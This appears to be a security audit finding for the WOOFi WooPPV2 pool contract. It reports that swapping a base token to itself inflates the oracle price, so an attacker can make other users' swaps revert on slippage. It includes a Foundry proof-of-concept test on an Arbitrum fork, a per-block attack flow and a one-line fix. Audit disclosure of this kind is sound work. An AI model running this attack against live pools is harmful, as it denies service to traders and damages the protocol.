Mythical Menthol Mongoose

medium

# Price of a base token can be inflated by swapping same base tokens, leading to slippage reverts causing DOS to Woo system

## Summary
Users can swap from WETH to WETH using swapBaseToBase. And it inflates the price by a % without any addition/removal of any tokens from the reserve. So price is just artificially inflatable.

## Vulnerability Detail

https://github.com/sherlock-audit/2024-03-woofi-swap/blob/65185691c91541e33f84b77d4c6290182f137092/WooPoolV2/contracts/WooPPV2.sol#L513

https://github.com/sherlock-audit/2024-03-woofi-swap/blob/65185691c91541e33f84b77d4c6290182f137092/WooPoolV2/contracts/WooPPV2.sol#L513-L578

This inflation of price can impact the users trying to swap and they will hit slippage reverts causing DOS. 

**Attack flow**

1. on every block, attacker swaps from WETH to WETH
2. victim's swap action with 0.5% slippage

But the victim's swap will revert because the attacker inflated the WETH price on pool with little spread and swap fees. MEV strategies  for this strategy are possible if the fees and spreads are low.


Imagine a protocol that directly competes with WOO, they can make a bot to run this attack and constantly cause slippage reverts and DOS to buy actions. So the only cons of this attack is if the fees  & spread are high, then attack cannot be profitable, but still some griefer who wants to DOS woo pools, can cause this attack. As a competetor of woo, I am even ready to spend $100k to cause this DOS attack even if its not profitable, and100k is enough to last atleast a month worth of blocks on BNB and other chains with high block-times.

**POC**

1. First install, `forge install foundry-rs/forge-std` then
2. Run the below POC with `forge t --mt testBaseToBase  -vvvv` if rpc fails then pick other rpc from https://chainlist.org/?search=arb and paste on `setUp` function's first line.

<details> 
<summary> POC</summary>

    // SPDX-License-Identifier: MIT
    pragma solidity ^0.8.0;

    import  "../../lib/forge-std/src/Test.sol";
    import "../../contracts/WooPPV2.sol";
    import "../../contracts/wooracle/WooracleV2_2.sol";
    import {IERC20} from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
    import "../../contracts/interfaces/AggregatorV3Interface.sol";

    contract WooPPV2Test is Test {

        address constant USDC = 0xaf88d065e77c8cC2239327C5EDb3A432268e5831; 
        address constant USDCe = 0xFF970A61A04b1cA14834A43f5dE4533eBDDB5CC8; 
        address constant WETH = 0x82aF49447D8a07e3bd95BD0d56f35241523fBab1; // @ $4000
        address constant ARB = 0x912CE59144191C1204E64559FE8253a0e49E6548; // @ $2
        address constant WOO = 0xcAFcD85D8ca7Ad1e1C6F82F651fA15E33AEfD07b; // @ $0.5
        address constant USDT = 0xFd086bC7CD5C481DCC9C85ebE478A1C0b69FCbb9;


        address constant CL_USDT = 0x3f3f5dF88dC9F13eac63DF89EC16ef6e7E25DdE7;
        address constant CL_WETH = 0x639Fe6ab55C921f74e7fac1ee960C0B6293ba612;
        address constant CL_ARB = 0xb2A824043730FE05F3DA2efaFa1CBbe83fa548D6;
        address constant CL_WOO = 0x5e2b5C5C07cCA3437c4D724225Bb42c7E55d1597;

        address owner = address(1);

        WooPPV2 pool;
        WooracleV2_2 oracle;
    

        function getPrice(address cl) internal view returns(uint128) {
            (, int256 p, , , ) = AggregatorV3Interface(cl).latestRoundData();
            return uint128(uint(p));
        }

        function setUp() public {
            vm.createSelectFork("https://rpc.tornadoeth.cash/arbitrum", 187381785 - 10);

            vm.startPrank(owner);

            oracle = new WooracleV2_2();
            pool = new WooPPV2(USDT);

            pool.init(address(oracle), owner);
            oracle.setAdmin(address(pool), true);

            deal(USDT, owner, 2000_000e6); // 2M$
            deal(ARB, owner, 250_000e18); // 500k$
            deal(WETH, owner, 500e18); // 2M$
            deal(WOO, owner, 0.5 * 1000_000e18); // 500k$

            IERC20(ARB).approve(address(pool), type(uint256).max);
            IERC20(WOO).approve(address(pool), type(uint256).max);
            IERC20(USDT).approve(address(pool), type(uint256).max);
            IERC20(WETH).approve(address(pool), type(uint256).max);

            pool.depositAll(WOO);
            pool.depositAll(WETH);
            pool.depositAll(ARB);
            pool.depositAll(USDT);

            oracle.setWooPP(address(pool));
            oracle.setQuoteToken(USDT, CL_USDT);

            oracle.setCLOracle(ARB, CL_ARB, true);
            // oracle.setCLOracle(WOO, CL_WOO, true);
            oracle.setCLOracle(USDT, CL_USDT, true);
            oracle.setCLOracle(WETH, CL_WETH, true);

            // https://discord.com/channels/812037309376495636/1217124971139174481/1218920635187855390
            // oracle.postState(_base, _price, _spread, _coeff);
            oracle.postState(USDT, getPrice(CL_USDT), 50000000000000, 500000000);
            oracle.postState(WETH, getPrice(CL_WETH), 500000000000000, 1000000000);
            oracle.postState(ARB, getPrice(CL_ARB), 1000000000000000, 100000000);
            oracle.postState(WOO, getPrice(CL_WOO), 5000000000000000, 100000000000);

            // pool.setTokenInfo(token, _feeRate, _maxGamma, _maxNotionalSwap);
            pool.setTokenInfo(USDT, 25, 500000000000000, 1000000000000); // 0.025% swap fee
            pool.setTokenInfo(ARB, 25, 5000000000000000, 500000000000); 
            pool.setTokenInfo(WOO, 25, 10000000000000000, 500000000000); 
            pool.setTokenInfo(WETH, 25, 3000000000000000, 1000000000000); 


            vm.stopPrank();

            vm.label(address(pool), "WOO_POOL");
            vm.label(address(oracle), "WOO_ORACLE");
            vm.label(address(owner), "OWNER");
            vm.label(WETH, "WETH");
            vm.label(USDT, "USDT");
            vm.label(ARB, "ARB");
            vm.label(WOO, "WOO");

        }


        function testBaseToBase() external {
            (uint p,) = oracle.price(WETH);
            console.log("WETH price before", p);    

            address from = WETH;
            address to = WETH;
            uint amount = 50e18;

            deal(from, address(this), amount);
            IERC20(from).transfer(address(pool), amount);
            pool.swap(from, to, amount, 0, address(this), owner); 

            (p,) = oracle.price(WETH);
            console.log("WETH price after", p);    
        }



    }





</details>




## Impact
DOS to swappers, because slippage mismatch. And attacker can advertise on twitter on WOO system being vulnerable to DOS.

## Code Snippet

https://github.com/sherlock-audit/2024-03-woofi-swap/blob/65185691c91541e33f84b77d4c6290182f137092/WooPoolV2/contracts/WooPPV2.sol#L513-L578

## Tool used

Manual Review

## Recommendation

Mofify `WooPPV2.swap()` 

https://github.com/sherlock-audit/2024-03-woofi-swap/blob/65185691c91541e33f84b77d4c6290182f137092/WooPoolV2/contracts/WooPPV2.sol#L166

```diff
    function swap(
        address fromToken,
        address toToken,
        uint256 fromAmount,
        uint256 minToAmount,
        address to,
        address rebateTo
    ) external override returns (uint256 realToAmount) {
        if (fromToken == quoteToken) {
            // case 1: quoteToken --> baseToken
            realToAmount = _sellQuote(toToken, fromAmount, minToAmount, to, rebateTo);
        } else if (toToken == quoteToken) {
            // case 2: fromToken --> quoteToken
            realToAmount = _sellBase(fromToken, fromAmount, minToAmount, to, rebateTo);
-       } else {
+       } else if (fromToken != toToken){
            // case 3: fromToken --> toToken (base to base)
            realToAmount = _swapBaseToBase(fromToken, toToken, fromAmount, minToAmount, to, rebateTo);
        }
    }
```